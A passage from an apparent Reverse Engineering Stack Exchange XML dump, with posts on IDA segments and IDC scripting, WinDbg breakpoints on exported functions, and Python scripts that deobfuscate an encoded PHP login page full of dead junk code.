alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Yes, radare2 can also print QR codes.&lt;/p&gt;&#xA;" OwnerUserId="18698" LastActivityDate="2018-05-23T19:44:09.310" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="18346" PostTypeId="2" ParentId="18305" CreationDate="2018-05-24T09:38:34.503" Score="1" Body="&lt;p&gt;I have been in touch with IDA support and unfortunately, right now, there does not seem to be a good way to do this. IDA assumes in many cases that the return value of a function must be stored in a register. This is also the reason for the crash when trying to overrule this inherent assumption with scattered arguments.&lt;/p&gt;&#xA;" OwnerUserId="23944" LastActivityDate="2018-05-24T09:38:34.503" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18347" PostTypeId="1" AcceptedAnswerId="18401" CreationDate="2018-05-24T10:41:47.827" Score="4" ViewCount="2987" Body="&lt;p&gt;I'm browsing an old 80186 BIOS ROM in IDA free. I have loaded the binary file at the correct address and created one big segment for the entire thing since I knew nothing about the internal structure.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, as I have been digging around, disassembling, commenting etc, I have identified some things that I'd like to create new segments for, e.g. interrupt vector seg:offset, far jmps, jump tables that are offsets into different CS values, etc.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Is this how you are supposed to use IDA segments? I.e. avoid having to hand-calculate linear addresses from jump table offsets by making a new segment with the (known) CS value at the time the table is used.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;How do I create a new segment without losing the data entered (disassembly, arrays, comments...) in the one all-encompassing segment I already have? It seems that to make room for a new segment, I need to delete or move the one that's already there, but when I do, all work done in that area (of linear addresses) is lost.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Edit: This is the ROM. It's loaded at 0xf0000-0x100000, entry point is f000:fff0 (reset vector)&#xA;&lt;a href=&quot;https://www.dropbox.com/s/63oxq39w0v3rdo9/RYSA094_joined.bin?dl=0&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.dropbox.com/s/63oxq39w0v3rdo9/RYSA094_joined.bin?dl=0&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="24499" LastEditorUserId="24499" LastEditDate="2018-05-28T06:49:34.700" LastActivityDate="2018-05-30T12:36:46.767" Title="IDA: add segments without losing data" Tags="|ida|x86|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18348" PostTypeId="2" ParentId="18347" CreationDate="2018-05-24T10:58:10.087" Score="5" Body="&lt;p&gt;IDA is not very user friendly when it comes to manipulating the segments.&#xA;There's an option to keep the data while you're resizing the segment, it will at least keep your bytes intact. But the all your names and comments will be lost. &#xA;So the only thing I can suggest is to use save database to IDC, and then edit it to remove the segment creation part. So that it will still apply the names, comments, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Personally, I do firmware reversing in two steps: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) load the whole firmware at address 0, recover the memory map. Close this IDA database.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) split the firmware into pieces, create new IDA database and load the pieces properly &lt;/p&gt;&#xA;" OwnerUserId="22324" LastActivityDate="2018-05-24T10:58:10.087" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18349" PostTypeId="2" ParentId="18347" CreationDate="2018-05-24T12:34:14.077" Score="4" Body="&lt;p&gt;You can merge segments in two steps:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;first make sure the end address of the lower segment matches the start address of the higher segment.&lt;/li&gt;&#xA;&lt;li&gt;then once the segments are adjacent, you can combine them without losing data by setting the end address of the first segment to end address of the second segment.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Then IDA will automatically merge the two segments without loss of data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think they do need to have the same segment bitness ( 16 or 32 bit ).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do make a backup copy of your database before trying this out, typo's can destroy your data.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Splitting works similarly:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;add a segment with the same attributes and &lt;code&gt;end-address&lt;/code&gt; as the original.&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;IDA will automatically split, and retain contents.&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h1&gt;Example ( in &lt;code&gt;IDC&lt;/code&gt; scripting )&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;Position your cursor on the first line of the new segment you want to create, and paste this in the script commandline:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;AddSeg(here, SegEnd(here), GetSegmentAttr(here, SEGATTR_ORGBASE), &#xA;    GetSegmentAttr(here, SEGATTR_BITNESS), &#xA;    GetSegmentAttr(here, SEGATTR_ALIGN),&#xA;    GetSegmentAttr(here, SEGATTR_COMB));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1842" LastEditorUserId="1842" LastEditDate="2018-05-24T17:07:44.617" LastActivityDate="2018-05-24T17:07:44.617" CommentCount="9" ContentLicense="CC BY-SA 4.0" />
  <row Id="18350" PostTypeId="1" AcceptedAnswerId="18351" CreationDate="2018-05-24T13:42:34.140" Score="1" ViewCount="1702" Body="&lt;p&gt;I have a &lt;code&gt;text.txt&lt;/code&gt; file and I want to read it and print its content in the Output Window of IDA Pro (Free version).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I wrote an .idc script as follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;idc.idc&amp;gt;&#xA;&#xA;static main() {&#xA;    auto fp;&#xA;    auto toPrint;&#xA;&#xA;    fp = fopen(&quot;C:\Users\bob\text.txt&quot;, &quot;r&quot;); // fp is a file handle&#xA;&#xA;    toPrint = fgetc(fp);&#xA;&#xA;    Message(&quot;%s is the string\n&quot;, toPrint);&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/UcTXV.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/UcTXV.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But it gives me an &lt;code&gt;unknown character&lt;/code&gt; as shown above. I also tried using &lt;code&gt;toPrint = readstr(fp)&lt;/code&gt;, but it does not work. (same unknown character)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PS: I'm analysing a 32 bit PE file. I could not use IDAPython, as I'm using the x64 free version, so I have to resort to IDC. Any help appreciated.&lt;/p&gt;&#xA;" OwnerUserId="24485" LastActivityDate="2018-05-24T15:12:26.053" Title="Reading from text file and printing it in IDA Pro" Tags="|ida|c|encodings|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18351" PostTypeId="2" ParentId="18350" CreationDate="2018-05-24T14:07:39.367" Score="0" Body="&lt;p&gt;The variant below works for me.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;static main() {&#xA;    auto fp;&#xA;    auto toPrint;&#xA;    fp = fopen(&quot;C:\\Users\\[cenzored]\\desktop\\text.txt&quot;, &quot;r&quot;); // fp is a file handle&#xA;    do {&#xA;        toPrint = readstr(fp);&#xA;         if (toPrint != -1)Message(toPrint);&#xA;    } while (toPrint != -1);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Actually there are 3 differences between your code and working variant:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;it uses &lt;a href=&quot;https://www.hex-rays.com/products/ida/support/idadoc/328.shtml&quot; rel=&quot;nofollow noreferrer&quot;&gt;readstr&lt;/a&gt; which returns string &lt;/li&gt;&#xA;&lt;li&gt;It avoids using format string in Message function (but &lt;code&gt;Message(&quot;%s&quot;, toPrint)&lt;/code&gt; works too)&lt;/li&gt;&#xA;&lt;li&gt;As in normal C I use double slash (&lt;code&gt;\\&lt;/code&gt; instead of &lt;code&gt;\&lt;/code&gt;) for the path of the file. This is probably an initial cause of your problem: symbols preceded by single slash are interpreted as &lt;a href=&quot;https://en.wikipedia.org/wiki/Escape_sequences_in_C&quot; rel=&quot;nofollow noreferrer&quot;&gt;escape sequences&lt;/a&gt; which means that the file name was interpreted incorrectly and was not opened.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Using &lt;a href=&quot;https://www.hex-rays.com/products/ida/support/idadoc/321.shtml&quot; rel=&quot;nofollow noreferrer&quot;&gt;fgetc&lt;/a&gt; in a way you did is also incorrect because it returns long or character, not a string, and Message function probably interprets is as a pointer.&#xA;I checked this on IDA 6.9. In a later versions it is probably better to detect an EOF by &lt;a href=&quot;https://www.hex-rays.com/products/ida/support/idadoc/1221.shtml&quot; rel=&quot;nofollow noreferrer&quot;&gt;value_is_string&lt;/a&gt; function for this.&lt;/p&gt;&#xA;" OwnerUserId="2318" LastEditorUserId="2318" LastEditDate="2018-05-24T15:12:26.053" LastActivityDate="2018-05-24T15:12:26.053" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="18352" PostTypeId="2" ParentId="17995" CreationDate="2018-05-24T14:44:40.533" Score="1" Body="&lt;p&gt;The answer is LLVM. It allows to load the assembly and manipulate it. If you own the source code of the program, which you want to protect, it's even easier, because you'll be able to compile it via LLVM and have higher level of code manipulation. See &lt;a href=&quot;http://llvm.org/docs/WritingAnLLVMPass.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;LLVM pass&lt;/a&gt; there's an example on modifying the binary code during the compilcation&lt;/p&gt;&#xA;" OwnerUserId="22324" LastActivityDate="2018-05-24T14:44:40.533" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18353" PostTypeId="1" CreationDate="2018-05-24T20:02:51.640" Score="-1" ViewCount="158" Body="&lt;p&gt;I have a question... Is there an ida plugin that disassemble the file in visual studio inline assembly? I found this &lt;a href=&quot;https://github.com/binrapt/ida&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/binrapt/ida&lt;/a&gt; but when I load it in ida, it complains about &quot;No module named nil.file&quot;... Where can I find this &quot;nil.file&quot;? I searched in the web but I can't find anything ahah&lt;/p&gt;&#xA;" OwnerUserId="23939" LastActivityDate="2018-05-25T04:41:34.230" Title="Is there an ida plugin that disassemble in visual c inline assembly (visual studio)?" Tags="|ida|assembly|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="18355" PostTypeId="1" CreationDate="2018-05-25T02:50:20.310" Score="1" ViewCount="170" Body="&lt;p&gt;I'm new in the field of reverse engineering to detect malicious code in ELF file. I used IDA Pro to retrieve a list of strings in an elf file. But I wonder if IDA can build a graph showing the link between the strings (PSI)?&lt;/p&gt;&#xA;" OwnerUserId="22983" LastEditorUserId="2959" LastEditDate="2018-06-24T18:10:21.757" LastActivityDate="2018-06-24T18:10:21.757" Title="Build Graph Printable String Information in ELF" Tags="|ida|elf|strings|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18356" PostTypeId="2" ParentId="18353" CreationDate="2018-05-25T04:41:34.230" Score="0" Body="&lt;p&gt;this imho is not a plugin &lt;/p&gt;&#xA;&#xA;&lt;p&gt;it is python script &lt;/p&gt;&#xA;&#xA;&lt;p&gt;possibly to be used with idapython&lt;/p&gt;&#xA;&#xA;&lt;p&gt;it list nil as a module to be imported &lt;/p&gt;&#xA;&#xA;&lt;p&gt;so you may need to install it &lt;/p&gt;&#xA;&#xA;&lt;p&gt;just gave a search with pip &lt;/p&gt;&#xA;&#xA;&lt;p&gt;and i get &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;C:\&amp;gt;pip search nil&#xA;nil (0.2.0)  - CMGS cOde ToOls&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;so do &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;C:\&amp;gt;pip install nil&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3473" LastActivityDate="2018-05-25T04:41:34.230" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18357" PostTypeId="1" AcceptedAnswerId="21489" CreationDate="2018-05-25T06:11:55.723" Score="2" ViewCount="540" Body="&lt;p&gt;Is it possible to detect whether a given executable is a PIC by looking at the disassembler's output? If not, what are other valid ways to go about this?&lt;/p&gt;&#xA;" OwnerUserId="14535" LastActivityDate="2019-06-14T20:17:37.343" Title="Position-independent code dectection" Tags="|elf|pie|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="18358" PostTypeId="2" ParentId="18355" CreationDate="2018-05-25T06:49:44.770" Score="1" Body="&lt;p&gt;have you checked out chart xrefsto it creates a graph &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/1LQWT.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/1LQWT.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;or you can use idc &lt;/p&gt;&#xA;&#xA;&lt;p&gt;and script a gdl file by getting the xrefsto to a certain address by improvising &#xA;the script below&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;auto next,addr;&#xA;addr = ScreenEA();&#xA;next = MinEA();&#xA;next = DnextB(addr,next);&#xA;while( next != -1 ) {&#xA;Message(&quot;xref %x\n&quot; , next);&#xA;next = DnextB(addr,next);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3473" LastActivityDate="2018-05-25T06:49:44.770" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18359" PostTypeId="2" ParentId="18331" CreationDate="2018-05-25T08:01:22.783" Score="0" Body="&lt;p&gt;adding another answer because this contains substantially more info and might mess up the earlier answer&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;contents of directory pre experiment&lt;/strong&gt;&lt;br&gt;&#xA;32xxxx.*php.txt is from unphp.net&lt;br&gt;&#xA;etE.*txt is content of original posts first link&lt;br&gt;&#xA;b64.dat is the base64 string without quotes from the etE.*txt file   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;the other 2 are python scripts    &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;:\&amp;gt;ls&#xA;317ca73f142f83e85c24c22cb66c59c7_php.txt  decodebase64.py  findround.py&#xA;b64.dat                                   etEWDu2S.txt&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;contents of python script that recursively replaces round() functions&lt;br&gt;&#xA;uses subprocess module and evaluates the round() using  &lt;strong&gt;PHP -r&lt;/strong&gt;   &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;:\&amp;gt;cat findround.py&#xA;import sys&#xA;import subprocess&#xA;&#xA;if( len(sys.argv) != 2):&#xA;    print(&quot;usage &quot;+ sys.argv[0] + &quot; \&quot;path to infile\&quot;&quot;)&#xA;    sys.exit();&#xA;&#xA;print &quot;opening &quot; + sys.argv[1]&#xA;infile = open(sys.argv[1] , &quot;r&quot;)&#xA;print &quot;reading all the lines&quot;&#xA;data = infile.readlines();&#xA;print &quot;closing the input file&quot;&#xA;infile.close();&#xA;print &quot;total number of lines read = %d&quot; % len(data)&#xA;&#xA;for i in range(0,len(data),1):&#xA;    pos = data[i].rfind(&quot;round(&quot;)&#xA;    if(pos == -1):&#xA;        continue&#xA;    else:&#xA;        substrobrace= data[i][pos:]&#xA;        cbpos = substrobrace.find(&quot;)&quot;)&#xA;        #print substrobrace[:cbpos+1]&#xA;        commandline = &quot;php -r &quot; +&quot;\&quot;print &quot; + substrobrace[:cbpos+1] +  &quot;;\&quot;&quot;&#xA;        repl = subprocess.check_output( commandline )&#xA;        data[i] = data[i].replace(substrobrace[:cbpos+1] , repl)&#xA;        #print data[i]&#xA;        while (pos != -1):&#xA;            pos = data[i].rfind(&quot;round(&quot;)&#xA;            if(pos == -1):&#xA;                break&#xA;            else:&#xA;                substrobrace= data[i][pos:]&#xA;                cbpos = substrobrace.find(&quot;)&quot;)&#xA;                #print substrobrace[:cbpos+1]&#xA;                commandline = &quot;php -r &quot; +&quot;\&quot;print &quot; + substrobrace[:cbpos+1] +  &quot;;\&quot;&quot;&#xA;                repl = subprocess.check_output( commandline )&#xA;                data[i] = data[i].replace(substrobrace[:cbpos+1] , repl)&#xA;                #print data[i]&#xA;outfilename = sys.argv[1] +&quot;.deob&quot;&#xA;outfile = open(outfilename,&quot;w&quot;)&#xA;outfile.writelines(data)&#xA;outfile.close()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;contents of python scripts that de-obfuscates the etE.*.txt file&lt;br&gt;&#xA;again uses supprocess to beautify the single line eval();&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;:\&amp;gt;cat decodebase64.py&#xA;import sys&#xA;import base64&#xA;import zlib&#xA;import time&#xA;import subprocess&#xA;&#xA;f1 = open(sys.argv[1],&quot;rb&quot;)&#xA;f2 = open(sys.argv[2],&quot;wb&quot;)&#xA;f3 = open(sys.argv[3],&quot;wb&quot;)&#xA;base64.decode(f1,f2)&#xA;f1.close()&#xA;f2.close()&#xA;f2 = open(sys.argv[2],&quot;rb&quot;)&#xA;dat = f2.read()&#xA;f2.close()&#xA;decom = zlib.decompress(dat)&#xA;tagdecom = &quot;&amp;lt;?php &quot; + decom + &quot;?&amp;gt;&quot;&#xA;f3.write(tagdecom)&#xA;f3.close()&#xA;time.sleep(5)&#xA;commandline = &quot;c:\\php\\php_beautifier.bat &quot; + sys.argv[3] + &quot; &quot;+ sys.argv[3] +&quot;.php&quot;&#xA;res = subprocess.check_output( commandline )&#xA;deobcmdline = &quot;python findround.py &quot; + sys.argv[3] +&quot;.php&quot;&#xA;res = subprocess.check_output( deobcmdline )&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;executing the decodebase64.py with arguments&lt;br&gt;&#xA;(this file calls the other script after some timeout so you get a deobfuscated     file in one go with all the round() replaced) also diffed with output from   unphp.net for sanity check&lt;br&gt;&#xA;(&lt;strong&gt;js beautifier module in earlier my answer messes ugly php with white space error&lt;/strong&gt;)     &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;:\&amp;gt;decodebase64.py b64.dat b64.dec b64.ugly&#xA;&#xA;:\&amp;gt;diff b64.ugly.php 317ca73f142f83e85c24c22cb66c59c7_php.txt&#xA;0a1,2&#xA;&amp;gt; /* Decoded by unphp.net */&#xA;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;checking if the deobfuscated php file is compilable or not&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;:\&amp;gt;phpdbg b64.ugly.php.deob&#xA;[Welcome to phpdbg, the interactive PHP debugger, v0.5.0]&#xA;To get help using phpdbg type &quot;help&quot; and press enter&#xA;[Please report bugs to &amp;lt;http://bugs.php.net/report.php&amp;gt;]&#xA;[Successful compilation of C:\b64.ugly.php.deob]&#xA;prompt&amp;gt; q&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;contents of the deobfuscated file with round() replaced with actual values&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;:\&amp;gt;head b64.ugly.php.deob&#xA;&amp;lt;?php if (isset($_SESSION['id'])) {&#xA;    header('Location: ../');&#xA;    exit();&#xA;}&#xA;$message = '';&#xA;if ((3165 ^ 3165) &amp;amp;&amp;amp; preg_split($seneiuhtrbbit)) fgetss($pdo, $nav);&#xA;(3253 - 3253 + 3158 - 3158) ? strnatcmp($pdo, $letter, $password) : mt_rand(806, 3253);&#xA;if (isset($_GET['data']) &amp;amp;&amp;amp; isset($_GET['a'])) {&#xA;    $id = check($_GET['a'], &quot;int&quot;);&#xA;    $STH = $pdo-&amp;gt;prepare(&quot;SELECT `id`, `login`, `email` FROM `users` WHERE `id`=:id LIMIT 1&quot;);&#xA;&#xA;:\&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;as you can see and as john posted in his answer this now contains&lt;br&gt;&#xA;fake if() / while() / ternary operators / which will never execute &#xA;notice if((3165 ^ 3165) &amp;amp;&amp;amp; where the first condition evaluates to 0 so will never execute the fgetss =()&lt;br&gt;&#xA;try php -a to open an interactive php shell and try evaluating the lines one by one&lt;br&gt;&#xA;notice i modified the if condition to show the execution of second condition &#xA;which has a wrong numbers of argument&lt;br&gt;&#xA;prototype of  preg_split is &lt;strong&gt;preg_split(regex,string,flag);&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;:\&amp;gt;php -a&#xA;Interactive shell&#xA;&#xA;php &amp;gt; if ((3165 ^ 3165) &amp;amp;&amp;amp; preg_split($seneiuhtrbbit)) fgetss($pdo, $nav);&#xA;php &amp;gt; if ((3165 ^ 3164) &amp;amp;&amp;amp; preg_split($seneiuhtrbbit)) fgetss($pdo, $nav);&#xA;&#xA;Warning: preg_split() expects at least 2 parameters, 1 given in php shell code on line 1&#xA;php &amp;gt;    &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;so you need to pluck them out manually &lt;/p&gt;&#xA;" OwnerUserId="3473" LastEditorUserId="3473" LastEditDate="2018-05-25T08:10:01.933" LastActivityDate="2018-05-25T08:10:01.933" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18361" PostTypeId="1" CreationDate="2018-05-25T10:22:04.977" Score="4" ViewCount="2610" Body="&lt;p&gt;Kinda new to WinDbg. I got an executable who loads a module later in the execution path, so at start I'm doing &lt;code&gt;sxe ld:moduleName&lt;/code&gt; to break when the process loads the module.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then I tried to just put a breakpoint on every method but it takes for ages because there are around 30k methods and just about 300 exported methods.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm trying to put a breakpoint only on the exported ones but no luck so far.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was also trying to use pykd but the module is so poorly documented that I didnt manage to do that either.&lt;/p&gt;&#xA;" OwnerUserId="24514" LastActivityDate="2019-02-27T15:18:21.707" Title="WinDbg: Setting a breakpoint on every EXPORTED function of a module" Tags="|windbg|pykd|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18362" PostTypeId="2" ParentId="18361" CreationDate="2018-05-25T10:56:58.147" Score="6" Body="&lt;p&gt;I just set 465 bps in no time &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0:000&amp;gt; bl&#xA;0:000&amp;gt; .foreach ( place { !showexports ollydbg } ) { bp place }&#xA;0:000&amp;gt; bl &quot;*z*&quot;&#xA;     0 e Disable Clear  00406938     0001 (0001)  0:**** ollydbg!Absolutizepath&#xA;    118 e Disable Clear  004a9274     0001 (0001)  0:**** ollydbg!Finalizetaggedfile&#xA;    206 e Disable Clear  004a8e1c     0001 (0001)  0:**** ollydbg!Getoriginaldatasize&#xA;    237 e Disable Clear  004a9510     0001 (0001)  0:**** ollydbg!Gettaggedrecordsize&#xA;    268 e Disable Clear  00403918     0001 (0001)  0:**** ollydbg!Iszero&#xA;    319 e Disable Clear  004068cc     0001 (0001)  0:**** ollydbg!Relativizepath&#xA;    356 e Disable Clear  00487d74     0001 (0001)  0:**** ollydbg!Squeezename&#xA;    375 e Disable Clear  00487dfc     0001 (0001)  0:**** ollydbg!Uncapitalize&#xA;    449 e Disable Clear  0053000c     0001 (0001)  0:**** ollydbg!sizeatt&#xA;    450 e Disable Clear  0052ff88     0001 (0001)  0:**** ollydbg!sizekey&#xA;    451 e Disable Clear  0052ff04     0001 (0001)  0:**** ollydbg!sizename&#xA;    465 e Disable Clear  005d552c     0001 (0001)  0:**** ollydbg!zwcontinue&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;just be aware that exports may be data exports too and you may corrupt your session by mass break-pointing like this &lt;/p&gt;&#xA;&#xA;&lt;p&gt;To avoid setting breakpoints on data you can run a shell script like this and copy paste the output  (it is a hack but it would reduce setting bp's on symbols whose size is &amp;lt; 16 (for example a GUID ) &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.shell -ci &quot;x /v /Z /f ollydbg!*&quot; awk &quot;{ if ( strtonum(\&quot;0x\&quot;$4) &amp;gt; 16 ) print \&quot;bp \&quot;$3 \&quot; 5000\&quot;   }&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This command would print a series of bp addr 5000 (5000 is pass count so you wont be bothered for the first 5000 hits to this address) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;copy the series and paste it back to set bps&lt;/p&gt;&#xA;&#xA;&lt;p&gt;for me this set ~ 440 bps&#xA;issued a &lt;strong&gt;g to continue execution&lt;/strong&gt;&lt;br&gt;&#xA;and after a few minutes  hit ctrl+break and &lt;strong&gt;issued a bl&lt;/strong&gt;   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;copy pasted and grepped the hits &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;grep -v &quot;5000 (5000)&quot; bl.txt&#xA;     3 e Disable Clear  004de7c4     4ef9 (5000)  0:**** ollydbg!T&#xA;    11 e Disable Clear  00409e74     4fff (5000)  0:**** ollydbg!Setstatus&#xA;    34 e Disable Clear  0041e444     4fff (5000)  0:**** ollydbg!Setautoupdate&#xA;    50 e Disable Clear  00419208     4fff (5000)  0:**** ollydbg!Addtolist&#xA;    70 e Disable Clear  00473ca4     4ffe (5000)  0:**** ollydbg!Setactivetab&#xA;    84 e Disable Clear  00418afc     4fff (5000)  0:**** ollydbg!Issortedinit&#xA;    90 e Disable Clear  00417980     4fc0 (5000)  0:**** ollydbg!Addsorteddata&#xA;    175 e Disable Clear  0041214c     4ffc (5000)  0:**** ollydbg!Sunkenframe&#xA;    178 e Disable Clear  0041742c     4ffe (5000)  0:**** ollydbg!Createsorteddata&#xA;    206 e Disable Clear  004109d4     4fd3 (5000)  0:**** ollydbg!StrcopyW&#xA;    215 e Disable Clear  004071f8     4ffe (5000)  0:**** ollydbg!Readfile&#xA;    233 e Disable Clear  00403c70     4ffc (5000)  0:**** ollydbg!Memalloc&#xA;    235 e Disable Clear  00409b98     4fff (5000)  0:**** ollydbg!Message&#xA;    253 e Disable Clear  00404070     4ffe (5000)  0:**** ollydbg!Virtalloc&#xA;    259 e Disable Clear  00406938     4ff6 (5000)  0:**** ollydbg!Absolutizepath&#xA;    262 e Disable Clear  00417350     4fe2 (5000)  0:**** ollydbg!Destroysorteddata&#xA;    268 e Disable Clear  00403440     4fff (5000)  0:**** ollydbg!Unicodetoutf&#xA;    269 e Disable Clear  00412078     4fff (5000)  0:**** ollydbg!Getmonitorrect&#xA;    315 e Disable Clear  0040261c     4f96 (5000)  0:**** ollydbg!Stringfromini&#xA;    331 e Disable Clear  004026a0     4ff3 (5000)  0:**** ollydbg!Filefromini&#xA;    332 e Disable Clear  00402718     4d95 (5000)  0:**** ollydbg!Getfromini&#xA;    392 e Disable Clear  00403d7c     4fff (5000)  0:**** ollydbg!Memfree&#xA;    411 e Disable Clear  0043ac10     4ffe (5000)  0:**** ollydbg!Destroysimpledata&#xA;    421 e Disable Clear  00402978     4fff (5000)  0:**** ollydbg!Getfromsettings&#xA;    425 e Disable Clear  00471cd8     4ffe (5000)  0:**** ollydbg!Initset&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3473" LastEditorUserId="3473" LastEditDate="2018-05-25T14:00:16.363" LastActivityDate="2018-05-25T14:00:16.363" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="18363" PostTypeId="1" AcceptedAnswerId="18364" CreationDate="2018-05-25T18:11:05.543" Score="0" ViewCount="160" Body="&lt;p&gt;I've seen this &lt;a href=&quot;https://reverseengineering.stackexchange.com/q/8317/23069&quot;&gt;question&lt;/a&gt; which says &lt;code&gt;__PAIR__&lt;/code&gt; macro does some conditional computation. But I can not relate that with standard I/O handles. Here is the pseudocode in IDA:&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ( (char *)hConout - 1 &amp;lt;= (char *)0xFFFFFFFFFFFFFFFDi64 ) {&#xA;ConfigureStdHandles((PHANDLE)handle);&#xA;v175 = __PAIR__(1, (unsigned int)handle[0]);&#xA;v176 = __PAIR__(2, (unsigned int)handle[1]);&#xA;v177 = __PAIR__(2, (unsigned int)handle[2]);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here is the corresponding Assembly:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;loc_1400088CA:                          ; CODE XREF: wmain+FBF↑j&#xA;mov     [rsp+418h+handle+18h], rsi&#xA;lea     rax, [rsi-1]&#xA;cmp     rax, 0FFFFFFFFFFFFFFFDh&#xA;setbe   al&#xA;mov     rcx, 